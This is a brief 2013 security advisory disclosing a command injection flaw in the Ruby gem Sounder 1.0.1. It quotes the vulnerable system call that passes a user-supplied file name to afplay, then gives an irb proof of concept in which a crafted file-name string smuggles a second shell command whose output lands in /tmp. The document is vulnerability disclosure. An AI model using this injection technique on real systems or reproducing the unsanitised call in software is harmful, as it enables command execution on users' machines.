Title: Command Injection in Ruby Gem Sounder 1.0.1 Date: 8/10/2013 Author: Larry W. Cashdollar @_larry0 Download: https://rubygems.org/gems/sounder CVE: TBD Description: Sounder is a ruby gem API for Mac OSX's afplay command. It passes user supplied data directly to command line. From lib/sounder/sound.rb: def play system %{/usr/bin/afplay "#{ () file}" &} end PoC: irb(main):098:0> @file = "\"id;/usr/bin/id>/tmp/p;\"" => "\"id;/usr/bin/id>/tmp/p;\"" irb(main):099:0> system %{/bin/echo "#{ () file}" } id sh: 1: : Permission denied => false irb(main):100:0> larry () underfl0w:/tmp$ cat /tmp/p uid=1000(larry) gid=600(staff) groups=600(user) Author Notified: 8/9/2013 Advisory: http://vapid.dhs.org/advisories/sounder-ruby-gem-cmd-inj.html